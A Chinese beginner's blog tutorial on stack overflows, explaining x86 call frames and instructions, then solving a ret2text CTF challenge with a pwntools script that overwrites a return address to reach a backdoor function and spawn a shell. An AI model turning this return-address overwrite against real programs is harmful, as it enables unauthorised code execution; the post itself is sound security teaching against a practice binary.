初识栈溢出

认识栈结构

栈这种结构学过数据结构的都知道,是一种先进后出的结构,类似于子弹放进弹夹一样,先放进的子弹最后打出。

函数调用过程

这个知识是整个栈方面的关键知识,我在大一的时候学pwn怎么也学不会,就是忽略了对基础知识的学习,直接学漏洞,一直搞不清怎么回事,非常郁闷。现在详细总结一下函数调用过程,以X86系统为例

  1. 压入参数
    根据调用约定压入参数,main函数作为调用者,首先将fun的参数a,b...压栈。栈是向下生长的,先压入的参数靠近栈顶esp,后压入的靠近栈底edp

  2. 返回地址压入
    fun函数调用完成,程序需要返回源地址继续执行程序,那么我们就去要保存调用函数下一句的地址,把它压入栈中,以便我们恢复原程序继续执行

  3. fun函数运行
    fun函数运行会给自己再开辟一个栈,这个栈的栈底就是上个栈的栈顶,因为当调用函数时,执行call命令,会执行这几条汇编‘push edp;mov edp ,esp;sub esp,0x ’这句话可以画图来体会一下。push edp;是为了保存调用函数的栈帧,调用函数结束后要恢复原函数的edp,esp。mov edp ,esp;把esp的值赋值给edp,这样就把新栈帧的栈底确定了。sub esp ,0x,这句话为栈开辟空间,esp就确定了,完成一个新栈开辟

  4. fun函数返回
    当函数运行完成之后,函数这么返回呢?函数一般会执行‘leave;ret;’这句话什么含义,就是‘mov esp ,edp;pop edp;pop eip’ 我们来解读一下,首先把栈顶移动到栈底,相当于恢复栈顶,仔细想一想,是不是fun调用的时候,把edp移动到esp。然后pop edp 把栈中压入的main_edp弹出赋值给edp,这样我们就恢复了edp,然后再pop eip,把压入的main_addr弹出赋值给eip程序控制流就有回到了call的下一句

函数调用过程中涉及操作指令

  1. 压栈(push):栈顶指针esp减小4字节;以字节为单位将寄存器数据(4字节,不足补0)压入堆栈,从高到低依次将数据存人esp-1、esp-2、esp-3、esp-4指向的地址单元。
  2. 出栈(pop):栈顶指针esp指向的栈中数据被取回寄存器;栈顶指针esp增加4字节。push和pop指令在不同系统上运行时稍有不同,在64位系统中变化的大小是8字节,在32位系统中变化的大小是4字节。
  3. 调用(ca11):将当前的指令指针eip(该指针指向ca11指令后的下条指令)压入堆栈,以返回时能恢复执行下条指令。然后,设置eip指向被调函数的开始处,以跳转到被调函数的入口地址处执行。
  4. 离开(1eave):恢复主调函数的栈帧以准备返回,它等价于以下指令序列:
    mov esp,ebp(恢复原esp值,指向被调函数栈帧开始处);
    pop ebp(恢复原 ebp 的值,即主调函数帧基指针)
  5. 返回(ret):与ca11指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前 ca11指令保存的下条指令地址)到eip寄存器中,程序转到该地址处继续执行(此时 esp指向进人函数时的第一个参数)。若带有立即数,esp要加上立即数(丢弃一些在执行ca11指令前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前ca11指令保存的返回地址。

初识栈溢出

当我们调用一个函数的时候,在函数内部存在,栈溢出漏洞,get函数或者开辟空间大于变量距离栈底的位置,那么就可能造成栈溢出,溢出后如果溢出值覆盖了main_addr,函数的返回地址就会变化,我们可以根据这个特点,篡改返回地址到我们想返回的。看下图,距离栈底0x80个字节,但是允许读取0x200个字节,就会造成栈溢出,接下来我们来小试牛刀

例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2text

查看保护
打开IDA反编译看看代码逻辑

这里有两种判断偏移的方式

  1. 第一种就是看图片上红框部分,显示s距离ebp为0x108个字节所以需要填充0x108+0x4个字节的数据才能覆盖返回地址
  2. 使用pwngdb中cyclic判断偏移,在call gets处下断点,用gdb调试
    用cyclic生成有规律的字符串,输入c把字符串输入运行
    得到一个异常返回地址,程序停止
    用命令cyclic -l 加返回地址算出偏移
    这里的到的偏移就不用算edp的大小了,因为已经包括edp了
    有了偏移我们找一下后门函数
    这题也算很仁慈,直接给出了后门函数,我们随着学习的深入,一般不会直接给出后门函数,需要使用各种技巧来进入shell

    接下来开始编写脚本
from pwn import *
p = process("./ret2text")
target = 0x0804850B
p.recvuntil("ret2text\n")
payload = b"a" * 0x108 + p32(1) + p32(target)
p.sendline(payload)
p.interactive()
posted @   能打八个攻城狮  阅读(21)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现

阅读目录(Content)

此页目录为空

点击右上角即可分享
微信分享提示